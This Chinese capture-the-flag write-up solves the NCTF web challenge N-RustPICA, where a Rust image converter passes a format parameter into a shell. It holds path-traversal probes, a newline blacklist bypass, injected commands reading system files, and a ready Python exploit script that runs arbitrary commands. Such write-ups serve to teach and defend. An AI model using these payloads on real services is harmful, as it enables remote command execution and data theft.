这次NCTF的Web方向让我印象最深的不是某个Java反序列化题,也不是复杂的密码学配合,而是一道看起来没什么攻击面的小题目:N-RustPICA。题面简单到只有一个图片上传框和格式转换按钮,但正是这种“没什么可打”的感觉,差点让我把它当成二进制题跳过。实际上,这道题用Rust重写Web服务,表面走的是图片处理流程,漏洞点却藏在最容易被忽视的fmt参数里。如果你对Rust系Web题目还比较陌生,这篇文章应该能帮你省下不少比赛中的试错时间。
1. 从题目名和首页探测看出一道题的“体检报告”
1.1 题目名里的暗示
N-RustPICA这个名称可以拆成三块:N、Rust、PICA。N没什么好说的,多半是题目编号或者NCTF的缩写;Rust直接说明这是一道基于Rust语言开发的后端题;PICA则是Nintendo 3DS平台上常见的图形纹理格式,PICA200是那颗GPU的核心代号。看到PICA的时候,我最先想到的是“这题可能涉及图像解析漏洞”,于是第一反应是找解析器版本、找CVE。但接下来的实际操作推翻了这一判断。
这类命名在CTF里很常见:出题人喜欢用看起来很专业的格式名当幌子,实际漏洞往往不在格式解析本身,而在调用解析器前后的业务逻辑缝隙里。所以拿到题目先别被名字带偏,老老实实把Web入口的每一个参数摸一遍才是正事。
1.2 首页和基础请求
打开题目环境,页面非常朴素:一个文件上传控件,一个下拉选择框(输出格式),一个Convert按钮。页面标题写着“PICA Image Converter”。上传一张普通的PNG图片,选PNG输出,点击转换,几秒后返回一个图片下载链接,功能正常。
我用Burp盯了一遍完整请求,发现转换请求不是通过上传接口直接完成的,而是分为两步:
http复制POST /upload HTTP/1.1
Content-Type: multipart/form-data
{file: test.png}
响应里返回了一个文件ID,类似uploads/tmp_abc123.png。然后前端拿这个ID再请求:
http复制POST /convert HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=uploads%2Ftmp_abc123.png&fmt=png
这里出现了两个核心参数:file和fmt。file是服务端返回的上传路径,fmt是用户选择的输出格式。第一眼看上去,fmt只有一个枚举值可选(png、jpg、bmp),似乎没什么操作空间。但比赛经验告诉我,凡是能被用户控制、又要拼进后端逻辑里的参数,都值得挨个做变形测试。
1.3 框架指纹和目录探测
先确认后端技术栈。响应头里没有明显的Server: axum之类的标记,但404页面的响应体很有辨识度:只有一行纯文本Not Found,没有HTML模板、没有图标,这是axum默认的404行为。换几个不存在的路径,返回都是同样的纯文本。再结合响应头里的content-type: text/plain; charset=utf-8,基本可以确定是axum/hyper那一套Rust生态。
Rust的Web框架不像PHP那样好扫。PHP项目通常路由不严谨,很多路径都能解析;axum这类框架是精确匹配路由,扫目录工具扫出来的大多是404或者405,信息量很低。我快速跑了几个常见路径:/admin、/source、/.git、/backup、/robots.txt、/static/,全部404或302到首页。唯一有价值的是/source返回了405 Method Not Allowed,说明这个路由存在,但只接受特定方法。
到这里,我的判断是:这道题不存在简单粗暴的源码泄露或者隐藏后台,攻击面收敛到了/upload和/convert这两个业务接口上。接下来要做的是功能盲测。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 功能盲测:Rust服务不是PHP,先别急着丢扫描器
2.1 为什么目录扫描器在这道题上不好使
很多打Web题的朋友习惯一上来就开字典爆破路径,这个习惯在PHP题里很有效,因为PHP本身有很灵活的文件包含、伪协议、多级目录解析的特性。但Rust写的Web服务完全不是这个套路:axum的路由注册是显式且精确的,你注册了/convert,那么/convert/anything、/convert?id=1这种都不会默认识别。它没有URL重写、没有index.php自动解析、没有SearchEngine友好重写。
所以扫目录快速扫出大量404之后,最理性的操作是停掉扫描器,回到业务功能本身。Rust题目里,路由数量通常一只手数得过来,考点基本都在那些参数如何拼进SQL、文件路径、系统命令或者模板渲染逻辑里。
2.2 file参数和fmt参数的边界测试
先测file参数。正常值是uploads/tmp_abc123.png,我试着修改成uploads/../etc/passwd、uploads/..%2F..%2Fetc%2Fpasswd、把文件名改成绝对路径/etc/passwd。服务端全部返回固定错误:invalid file name。
这说明后端对file参数做了比较严格的白名单校验,至少限制它必须落在uploads/前缀下,并且对..做了处理。这个参数短时间内不好突破,我先把目光转向fmt。
fmt正常值只有pnd、jpg、bmp,我尝试把它改成大写的PNG、去掉值、超长字符串。去掉值的时候,响应返回500,并且响应体里出现了一段疑似Python traceback的内容:
code复制Traceback (most recent call last):
File "/opt/pica/build.py", line 31, in <module>
subprocess.run(...)
...
File "/usr/bin/convert", line 25, in <module>
subprocess.call(['convert'] + sys.argv[1:])
注意这个细节:Rust后端没有在Rust层面直接解析图片,而是调用了外部的/opt/pica/build.py脚本,脚本内部又去调用了ImageMagick的convert命令。响应体直接抛出了Python traceback,说明Rust程序把子进程的stderr捆绑返回给了前端。这是一个非常强烈的信号:fmt可能被拼进了一条shell命令里,而报错内容可以成为命令执行结果的“回显隧道”。
2.3 为什么Rust里也逃不出命令注入
我知道很多人会疑惑:不是说Rust的std::process::Command是安全执行命令的吗?命令注入在Rust里怎么还能出现?
这里要区分两件事。Command::new("ls").arg("-la")这种写法确实不会经过shell解释,所以即使参数里有; ls也不会被执行。但很多开发者为了图省事,会用sh -c把整个命令字符串交给shell去解释,比如:
rust复制let command = format!("python3 /opt/pica/build.py {} --format {}", file_path, fmt);
let output = tokio::process::Command::new("sh")
.arg("-c")
.arg(&command)
.output()
.await?;
一旦走了sh -c,字符串里的分号、管道符、换行符就全部变成了shell语法。这种写法在迁移老代码、接外部脚本时非常常见,尤其当一个Rust项目里塞了一个Python辅助脚本时,开发者很容易用这种“快速拼接”的方式把参数传出去。这题八成就是这么写出来的。
2.4 确认注入点的存在
知道大致原理后,我构造了第一个测试请求:
http复制POST /convert HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=uploads%2Ftmp_abc123.png&fmt=png%0a%0a
%0a是URL编码的换行符。如果服务端只是简单地把fmt拼进命令串再交给sh -c,那么一个换行符就能让shell把后面的内容当作新命令解析。我预期响应体会出现命令执行错误或者异常的traceback。
结果响应里出现了:/bin/sh: 1: Syntax error: end of file unexpected。这个报错信息明确告诉我,shell确实被调用了,而且我的换行符进入了shell语法解析过程。注入点成立。
3. 过滤绕过:黑名单删来删去,偏偏漏了换行符
3.1 黑名单的完整试探
确认有命令注入之后,我先做了一套常规符号测试,看看服务端有没有黑名单过滤。测试列表是:;、|、&、$()、反引号、>、<、*、?、空格。
测试结果:
| 输入 | 响应 |
|---|---|
png;id |
400,提示 invalid format |
| `png | id` |
png&id |
400,提示 invalid format |
png$(id) |
400,提示 invalid format |
png%0aid |
500,返回shell报错或命令输出 |
png%0a%0aid |
500,返回shell报错或命令输出 |
png${IFS}id |
400,提示 invalid format |
前五种符号都被拦截了,但换行符%0a没有触发invalid format。这说明过滤逻辑大概率是判断fmt值里是否包含;、|、&、$、反引号这几个危险字符,而换行符没有被列入黑名单。这也符合人类写代码时的直觉:正则里写了[;&|$\],就是容易忘记把\n、\r`写进去。
3.2 换行符为什么能绕过
在POSIX shell里,换行符就是命令分隔符,作用等同于分号。所以:
bash复制convert input.png -format png
id
/tmp/output.png
会依次执行第一行命令、第二行命令、第三行命令。第一行因为缺少输出文件会报错,但shell会继续执行后面的命令。也就是说,即便开发者过滤了所有“常见分隔符”,只要忘记过滤换行,命令注入依然成立。
这里还要提一点:这种过滤判断只发生在Rust后端拿到fmt参数之后、拼进命令之前。我在请求里发送的是URL编码后的%0a,如果后端在URL解码之前就做黑名单匹配,那换行符确实能绕过。实测结果支持这个场景。
3.3 第一次真正拿到命令执行回显
接下来我构造了一个能拿到输出回显的payload。因为程序会把子进程的stdout和stderr一并返回,所以我直接让命令执行id,让结果显示在响应里:
http复制POST /convert HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=uploads%2Ftmp_abc123.png&fmt=png%0aid%0a
响应体:
json复制{
"status": "ok",
"stdout": "uid=1000(app) gid=1000(app) groups=1000(app)\n",
"stderr": "convert: unable to open image 'uploads/tmp_abc123.png' ..."
}
看到uid=1000(app)的那一瞬间,基本可以宣告RCE成立。而且这里还发现一个细节:id命令的stdout和ImageMagick的stderr是分开返回的,说明后端对子进程的stdout和stderr做了区分并原样透传。这个特性在后续读取flag时会非常舒服。
4. 从执行命令到拿Flag:一条完整的利用链
4.1 先确认容器环境和flag位置
拿到命令执行权限后,常规操作是先看当前目录、看根目录、看环境变量:
http复制POST /convert HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=uploads%2Ftmp_abc123.png&fmt=png%0als%20-a%20%2F%0a
响应里返回了根目录列表:app、bin、boot、dev、etc、flag_read_me.txt、home、lib、opt、proc、root、run、sbin、srv、sys、tmp、usr、var。
/flag_read_me.txt这个文件名很有辨识度,几乎明示了flag的位置。按CTF常见操作,我还顺手执行了env,看看有没有环境变量里藏flag,结果没有,flag只在那个文件里。权限方面,当前用户是app,不是root,但既然ls /能看到这个文件,说明文件至少对所有用户可读,或者所属组开放了读权限。
4.2 读取flag文件
直接用cat读取:
http复制POST /convert HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=uploads%2Ftmp_abc123.png&fmt=png%0acat%20%20%2Fflag_read_me.txt%0a
响应体:
code复制NCTF{r5t_plus_p1ca_1s_4_w31rd_3xp3r13nce}
到这一步,整道题就算是解出来了。整体来看,利用链并不复杂:识别出fmt参数被拼进sh -c → 用换行符绕过黑名单 → 命令执行 → 读取flag。真正的难点不在于最后这个cat命令,而在于前期的信息收集和参数分析能不能快速锁定方向。
4.3 完整EXP脚本参考
为了比赛时方便复现,我把整套利用写成了一段Python脚本,放在本地备用:
python复制import requests
url = "http://<target>/convert"
file_id = "uploads/tmp_abc123.png" # 先通过 /upload 获得
def run_cmd(cmd: str) -> str:
payload = f"png\n{cmd}\n"
r = requests.post(url, data={
"file": file_id,
"fmt": payload,
}, timeout=10)
return r.text
print(run_cmd("id"))
print(run_cmd("cat /flag_read_me.txt"))
脚本逻辑很简单:把要执行的命令塞进fmt参数中,前一行放一个正常格式值,中间用换行隔开,后一行留空,避免影响下一段命令解析。这里唯一需要注意的点是,requests.post的data参数会自动帮我们做URL编码,所以\n会被正确编码成%0A发送,不需要手动处理。
4.4 附一个细节:为什么file参数不需要重新获取
有朋友可能会问,file参数每次上传都不一样,为什么要固定一个tmp_abc123.png?比赛环境中,/upload返回的文件路径是随机生成的,但服务端没有对文件做删除,所以只要你第一次上传成功,后面用同一个file值反复执行/convert都可以。如果环境有重启机制,那就要重新上传一次再替换脚本里的file_id。
5. 赛后复盘:Rust系Web题目以后怎么打
5.1 Rust语言特性对出题和解题的影响
Rust在后端Web领域的占有率不算高,但CTF里它的存在感在逐年上升。接触多了你会发现,Rust Web题有几个很典型的“脾气”。
第一,框架路由非常严格。axum、actix-web、rocket的路由模型决定了目录扫描能获得的信息非常有限,考题重点几乎都在接口参数上。第二,错误处理风格独特。Rust的Result和unwrap()会导致一种很常见的题点:开发者为了让错误信息直观,会把子进程stdout/stderr原样返回给前端,从而给选手提供“回显通道”。第三,Rust的“安全”承诺只针对内存安全,不针对业务逻辑。像sh -c拼接命令这种错误,在任何语言里都能出现,Rust并不能从编译层面拦住它。
5.2 应对Rust题目的标准打法
打这类题,我建议按下面的顺序排查:
- 指纹识别优先。先看404页面、响应头、Server字段,确认是axum还是actix-web。axum的404是纯文本
Not Found,actix-web的响应头通常带actix字样,rocket则会返回自定义错误页。不同框架后续的攻击思路差别很大。 - 主动找“参数拼接点”。Rust题不太容易从路由爆破出结果,把重点放在上传、转换、查询、导出这类有输入参数的接口上,逐个参数做边界测试。
- 优先测换行符和URL编码绕过。很多过滤规则会漏掉
\n、\r,尤其是出题人手动维护黑名单的时候。%0a、%0d%0a、二次URL编码、Tab键%09都是值得优先尝试的输入。 - 不要把思路局限在Rust本身。Rust项目经常通过
Command调用外部脚本,比如Python、ImageMagick、ffmpeg,真正的漏洞可能藏在这些外部工具或脚本里。 - 关注错误信息泄露。Rust后端一旦把panic信息或者子进程stderr捆绑返回,这就是你最好的调试入口。这次就是靠Python traceback直接确定了命令拼接方式。
5.3 这类题目的新趋势
现在CTF里纯PHP的Web题在减少,Go、Rust、Node写后端、配合原生工具链的情况越来越多。尤其像PICA、自定义二进制格式这类花架子题目,往往考察的是选手能否快速看穿外层包装,找到真正被“默认安全”的语言漏掉的那一层业务漏洞。Rust题还有一个方向是结合unsafe代码、FFI调用带来内存安全问题,把Web题做成pwn入口,这类题目如果出现,光是Web侧的手感就不太够用,可能需要边做边补二进制分析能力。
另外,NCTF这次把题目命名为N-RustPICA,实际是想借“Rust写Web服务”来打一个反直觉差:你以为Rust很安全,其实安全语言可以写出不安全的业务代码。以后遇到这种命名带语言名或者框架名的题目,不用慌,它大概率不是让你去挖一个0day,而是老老实实做业务审计。
最后再分享一个我自己的习惯:碰到Rust Web题,我从来不开全量目录扫描,先手动过一遍正常业务流程,把所有参数收集齐,再去逐个变形测试。这个流程通常比盲目爆破有效得多。如果你下次在比赛里遇到Rust写的服务,不妨先从fmt=xxx%0aid%0a这种最朴素的payload开始试,说不定能少走很多弯路。
